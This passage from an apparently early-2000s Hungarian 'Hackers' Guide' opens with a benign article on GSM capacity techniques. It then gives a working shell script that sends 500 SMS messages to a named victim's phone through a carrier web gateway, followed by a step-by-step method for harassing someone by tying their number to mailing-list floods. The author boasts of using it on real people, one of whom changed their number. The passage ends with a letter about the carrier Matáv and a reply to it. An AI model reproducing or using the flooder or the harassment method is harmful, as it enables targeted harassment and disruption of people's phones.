interferencia átlagolása. A hopping szekvencia a GSM ajánlásnak megfeleloen lehet ciklikus, vagy véletlen (Random). A ciklikus hopping jobb átlagolást ad a multipath fadingre, míg a random hopping az interferenciára. A frekvencia hopping a legnagyobb nyereséget az RF teljesítmény szabályozás és a szakaszos üzemmód (DTX)együttes alkalmazásával éri el. A definiálható hopping szekvenciák száma a GSM ajánlás szerint 64. Így megoldható, hogy az azonos frekvencia csoportot használó cellák különbözo hopping szekvenciát alkalmazzanak, mely csökkenti a frekvencia ütközések valószinuségét. A GSM rendszer ezen kívül megkülönböztet alapsávi(Base Band) és szintézer hoppingot. A frekvencia hopping az elofizeto szempontjából javítja a beszéd minoségét. Az operátor szempontjából az egyenletesebb beszéd minoség, a kisebb cellák közötti távolság, és ezáltal a kapacitás növelése a nyereség.

2.2 Antenna diverziti Ez nem GSM ajálás de gyakorlatilag az összes bázisállomás gyártó alkalmazza ezt a technikát. Ez azt használja ki,hogy a multipath fading hatása, két megfelelo távolságra levo vevo antennánál, különbözo és egymástól független. Mind két antennához külön vevot csatlakoztatva, két független jelet lehet összegezni. Ha az egyik antenna éppen fading gödörbe esik, a másik nagy valószínuséggel nem. Így a bázisállomás által vett térerosség és a C/I is egyenletesebb lesz azaz kisebb a rossz beszéd minoség esélye.

2.3 RF teljesítmény szabályozás. (Dynamic Power Control) A GSM ajánlások szerint a mobil és a bázisállomás kisugárzott RF teljesítménye szabályozható a kommunikáció során a vett térerosség és a beszéd minoségének függvényében. Amikor a mobil közel van a bázisállomáshoz a C/I arány jóval nagyobb annál, mint ami a jó beszéd minoséghez feltétlenül szükséges. Így az RF kimeno teljessítmény csökkentheto, míg a C/I elegendo az összeköttetés fenntartásához és a megfelelo beszéd minoséghez, mind a bázisállomás mind a mobil oldalán. 3. ábra A kívánatos az lenne, ha a vett térerosség az egész cellában állandó maradna. Ha a teljesítmény szabályozás minden összeköttetés esetén muködik, akkor az össz kisugárzott energia jelentos mértékben csökken. Ezáltal az interferencia szint is kisebb lesz, míg az átlagos C/I a rendszerben nem változik. A bázisállomástól távoli mobiloknál a C/I növekszik, mivel ezeknél az összeköttetéseknél a teljesítmény csökkentése már nem megengedett, ugyanakkor az interferencia szint alacsonyabb. A közeli mobiloknál a C/I csökkent ahol a teljesítmény szabályozás muködik. Mivel ezeknél a mobiloknál a C/I magasabb a minimálisan megengedettnél ezért ennek nincs hatása a beszéd minoségére.

2.4 Szakaszos adásmód (Discontinous transmission, DTX) Egy átlagos bezélgetés esetén feltételezhetjük, hogy mind két fél az ido 50%-ban beszél illetve hallgat. A DTX ezt használja ki, azaz mind a mobil mind a bázisálomás esetén csak akkor történik RF teljesítmény kisugárzása, ha valamelyik fél beszél. A DTX tehát csökkenti a kibocsájtott RF energiát, ami alacsonyabb átlagos interferencia szintet eredményez. A vett térerosségre a DTX-nek nincs hatása, mivel beszéd esetén a szükséges RF teljesítménnyel muködnek az eszközök. Így az

336

Hackers’ Guide

átlagos C/I növekszik a rendszerben. További elony még, hogy az átlagos energia felhasználás csökken, amely a mobiloknál megnöveli a beszéd és a készenléti idot. Bázisállomásoknál ennek csak akkor van jelentosége, ha az energia hálózat kimaradása esetén akkumulátorról üzemelnek. A DTX alkalmazásának hátránya, hogy a fentebb már említett térerosség és minoség méréseket ritkábban lehet elvégezni, mint DTX alkalmazása nélkül. Ez pontatlanabb méréseket eredményez, ami a befolyásolhatja rádiós hálózatot vezérlo algoritmus muködését. További hátrány még, hogy bizonyos mássalhangzók mint pl. ?p?,? t?,? k?, érthetosége valamelyest csökken.

2.5 Overlaid Underlaid cella srtuktúra Overlaid underlaid cella strukturát is a kapacitás növelésére lehet felhasználni, új állomások építése nélkül. A kapcitás növelésének módjai egy cellás hálózatban, mint azt már korábban is említettem vagy több frekvencia felhasználása, vagy az frekvencia újrafelhasználás növelése. Mivel a frekvenciák száma limitált csak a második lehetoség marad az operátorok számára. Megoldást jelenthet egy második frekvencia raszter alkalmazása, ahol a cellák mérete kisebb. Ezeket hívjuk overlaid celláknak. Ez a sruktúra lehetové teszi, hogy egy fizikai cellán belül két logikai al cellát hozzunk létre (4. ábra) különbözö frekvencia újrafelhasználási raszterekkel. A rendelkezésrle álló frekvenciák az al cellák között feleosztásra kerülnek. Pl. tegyük fel, hogy 48 db frekvencia áll rendelkezésre a rádiós hálózatban. Ez azt jelenti, hogy overlaid underlaid cella sruktura nélkül: 4/12 es rasztert feltételezve 4db frekvencia használható cellánként. Az overlaid underlaid cella stuktura felhasználásával: Underlaid celláknál 12 db frekvencia legyen használható 4/12 -es raszterban azaz 1frekvencia cellánként. Overlaid celláknál 36 db frekvencia legyen használható 3/9- es raszterban azaz 4 frekvencia cellánkét. Látható, hogy az eredeti cellánkénti 4 db frekvenciát 5 db-ra növeltük újabb infrasruktura megépítése nélkül. A kapacitás növekedés kb 30%-os. Azt hogy a mobil éppen melyik alcellában tartózokodik a hálózat algoritmusa dönti el a mért térerosségek és a mobilnak a bázisállomástól való távolságának a függvényében.

3. A jövö kapacitás növelésének lehetöségei: A GSM rendszer fejlesztése nem állt meg. A nem is olyan távoli jövoben el fognak terjedni a GSM-DECT, és a GSM-DCS 1800 duál módú rendszerek. Így megvalósíthatóvá válik a barangolás ezen hálózatok között. Ennek elonye, hogy a gyors mobilokat a GSM cellák ,mig a lassú, vagy álló mobilokat DECT vagy DCS renszerek fogják kiszolgáni, ahol a kapacitás még tovább növelheto. (folyt.köv)

© 2000 by MMan. ************************************************************************************************ SMS Flood www.777sms.hu-n keresztül

337

Hackers’ Guide

Leírás: Egyszerű SMS Flooder, melynek segítségével a Westel által fenntartott www.777sms.hu oldalon keresztül használhatjuk mocskos természetünk kielégítésére! ;-) hasznalat: ./smsflood <korzetszam> <aldozat szama> <message> pelda: ./smsflood 20 666666 ezt_beszoptad_haver\;DDD

Forrás:

#!/bin/sh ## ## egyszeru smsflooder egy rovid shellscriptbe suritve ## ## smsflood v1, smsflood ## Copyright (C) 2001, Road Runner <[email protected]> ## This is a free software distributable under terms of the GNU GPL. ## See the file COPYING for details. ## ## $Id: smsflood,v 1 2001/04/08 16:17:21 CEST bigmac Exp $ ## case $# in 0|1|2) echo "usage: ${0} <provider> <phone num> <reason>" exit 1 ;; *) PROVIDER=$1 VICTIM=$2 REASON=$3 ;; esac for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296

338

Hackers’ Guide

297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500; do echo -n "${i}: "; smssend w777 ${PROVIDER} ${VICTIM} ${REASON}; done

Használja mindenki egészséggel ;-)

smsflood v1 by Road Runner [email protected] IRCNet: roadr, road^r

- A forrást innen is letöltheted! - - GNU - Free public license -

- Ami nélkül az egész nem menne - ************************************************************************************************ Szivatás mobiltelefonon keresztül Elore szeretném leszögezni, hogy az itt feltüntetett dolgok, ahogy RSC szokta nevezni oket kicsit vigyorogva :))) "for education only", úgyhogy kérek mindenkit, hogy mellozze ezek alkalmazását, még akkor is, ha semmi feleloségre vonás nem jár utána... A másik, hogy nem akarom azt hallani, biztos valahonnan fordította, mert ezt egyedül én találtam ki és elosször magyar nyelven jelenik meg... most a kezem alatt :) Amennyiben fel szeretnéd használni részben vagy egészben, akkor kérlek jelezd ezt nekem e-mail-ben! Köszönöm! Ami kell mindehez...

Szóval a halálra idegesítéshez kell egy mobil telefon, ami tudja fogadni az SMS-eket, kell egy internet hozzáférés, egy kis ido és önmegtartás ahhoz, hogy el ne röhögjük magunkat, amikor az "áldozat" zsebében percenként csipog az rádiótelefon...

Röviden az egész :)

339

Hackers’ Guide

Tehát menj fel a netre, legjobb ehhez az iskolai SuliNet hálózat. Menj a http://www.sms.ru URL címre és itt regisztrálják egy azonosítót, telefonszámnak a te mobilszámodat add meg... Várod, hogy valami kódot adjon a rendszer, de nem ad... Menj bal oldalon a Login gombra és kattints rá. Itt alúl van egy olyan rész, hogy be kell írni az azonosítódat és elküldi neked a kódot... tehát most tedd ezt... Kb. 5 percen belul érkezik az SMS. Most már be tudsz lépni a rendszerbe. Elkészült az itteni e-mail címed, ami az alábbi képpen néz ki: [email protected]. A Profilnál állítsd át a telefonszámot az áldozatéra... Most már elhagyhatod az oldalt. Irány aFreemailvagy aMailboxés regisztrálj egy mail címet ami forwardolja (továbbítja) az érkezo leveleket az [email protected] e-mail címedre... Még marad a levelezorendszer webes felületén és küldj egy levelet [email protected] címre. Sikerült a mail címet felírnod több mint 40 levelezolistára, aminek a forgalma nem kicsi :)... most irány ahttp://www.egroups.com... Ez egy ingyenes levelezolista szolgáltató. Itt regisztráld a freemailes vagy mailboxos címedet. Kapsz egy levelet az egroupstól, amit vissza kell küldeni. Ebben e levélben ha jól emléxem van egy kód... Ez és a mail címed kell ahhoz, hogy beléphess az Egroups rendszerébe. Ha mindez megtörtént akkor keress rá a legforgalmasabb listákra illetve szex, buzi, stb. stb. stílusú listákra és iratkozz fel rájuk a freemailes/mailboxos címeddel. Rajtad meg persze szorgalmadon múlik, hogy az áldozat mennyi sms-t fog kapni egy nap. Az SMS.RU-ban még az is nagyon yó, hogy elég jól elszarja a maileket és szinte felismerhetetlen karaktereket küldözget SMS-en keresztül. Még ha valaki kételkedne az egész dologban, akkor csak annyi, hogy kipróbáltam Vodafone-os, Westeles és Pannon GSM-es számokon... muködött... Végeredményként annyit: az egyik (Pannonos) lecserélte a telefonszámát. A Westeles megtudta, hogy én csináltam... és valamiféle anyagi ellenszolgáltatás fejében vissza kapta nyugalmát és azóta is elismeri tudásomat... A Vodafone-osról meg csak annyit, hogy az én vagyok... A kollégiumi szobatársam szidott is miatta, mert ha valami SMS jön, akkor eros sugárzás támad és a Walkman szinte használhatatlanná vált. Még valami... Volt olyan amikor egy óráig folyamatosan töröltem az SMS-eket... Kellemetlen :)))

Köszönet az alábbiaknak:

RSC-nek, Formaternek, skYro-nak, Black Cat-nek, Lukundoo-nak, aki sajnos felhagyott crackelési tevékenységével, $tephennek, Trevornak hogy kedvet hozott a cikk íráshoz, a Nemzetközi vírus listának, a Földalatti-nak, a Fearless Criminal Force-nak, Happy Hackers listáknak, unix-hack listának és mindenkinek aki olvassa cikkeimet... ************************************************************************************************ Egy Matávos levele

340

Hackers’ Guide

Szeretnek par dolgot hozzatenni az oldal phreak reszen fellelheto dolgokhoz.

1. A nemreg hozzaszolo "matav-os" ugy fogalmazott: "en nem az elofizetok csapataban jatszom, hanem a MATAV-eban." Nos, nem tudom, hogy O valoban a MATAV-nal dolozik-e vagy sem, mindenesetre azt elmondhatom, hogy en igen, es egyre tobben vannak az olyanok a cegnel, akik az ugyfelekert szallnak palyara, nem ellenuk.

A fuck MATAV igy, suxx MATAV ugy flame-elesekre valaszul par dolgot szeretnek vilagossa tenni. A MATAV mindennapi eletet az hatarozza meg, hogy megfeleljen az ugyfel elvarasoknak. Szigoru anyagi erdeke fuzodik hozza a tulajdonosnak /es igy minden dolgozo a boren erzi/, hogy a leheto legjobb szolgaltatast adja. Persze mindenkiben elenken el a kep a regi MATAV-rol, es ezeket a berogzott meggyozodeseket qrva nehez objektiv velemenyre valtoztatni. Es eppen ebben all a MATAV egyik legnagyobb hatranya. Egy iszonyatosan nehezkes folyamatokkal, es munkatarsakkal felepitett ceget kellett versenybe lenditeni. Ez a folyamat sok eve elindult, /es raferne sok mas "allami" vallalatra is: BKV,VOLAN, MAV.../, es nem hiszem, hogy az elmult par evben barki is azt mondta volna a MATAV-ra belulrol, hogy biztos, nyugodt hely. Felelmetes tempoban zajlik az ujjaszervezes, letszam leepites, racionalizalas. Gondoljatok meg, mennyivel egyszerubb lenne lealitani az egeszet, es a jol felepitett folyamatokkal, szervezetekkel ujrainditani az egeszet. De ez szolgaltato tipusu cegeknel nem mukodik. Vagy golnoljatok bele, mennyivel konnyeb helyzetben van egy ujonnan letrehozott ceg. Ezen kivul a MATAV a hatan cipel egy csomo olyan plusz koltseg elszivo dolgot, amit senki masnak nem kell, plane nem akar, pl: fenntartani egy oreg rez halozatot, idejetmult szolgaltatasokra pazarolni eroforrasokat, mint pl. telex. Hozzatartozik meg az igazsaghoz, hogy sok ballepese is van a cegnek, pl: image rombolo kulso kivitelzokkal dolgoztat...

NO, eleg a sirasbol, csak gondolkodjatok el ezeken...

2. A 06/52 400 304 /azt hiszem ingyenes/ szamot felhivva, visszamondja, hogy melyik szamrol hivtad. Mobilt is... :))

Nyilt válaszlevelem:

Elgondolkozató levél ... ha ez mind így van akkor nem értem miért a magas telefonszámla mindezek ellenére és a sok félreszámlázás ha a matáv a csúcstechnológiát akarja biztosítani nekünk ... és ha a csúcstechnológia ennyi, és ebben a csúcstechnológiában bennvan a netezés közbeni szakadás is akkor elég gyér. Az hogy mindenkinek van egy véleménye a matávról amit qrva nehéz megváltoztatni az csak azért van mert mindennap tapasztalják a csúcstechnológia elonyeit: a kapcsolási díj, a félreszámlázás, a dupla számlázás, a netezés közbeni szakadás, az átmeneti túlterheltségre hivatkozások ... mindezek melett még nem beszéltem arról hogy egyszer életemben szorultam volna az 1212 segítségére de a 0-s gomb megnyomása után jött a matáv zene, és az ügyintézo kapcsolása valahogy elmaradt...a zenét 10 teljes percig hallgattam, utána eléggé meguntam. Szóval ha mindezek után mi vagyunk a hibásak az objektív véleményünkkel és a matáv a csodás telefontársaság csöppet sem akkor...ebbol nyitok egy vitát a fórumban a további hozzászólásokat oda kérem leadni!

341

Hackers’ Guide

© 2000 by MMan. End of Volume #2

342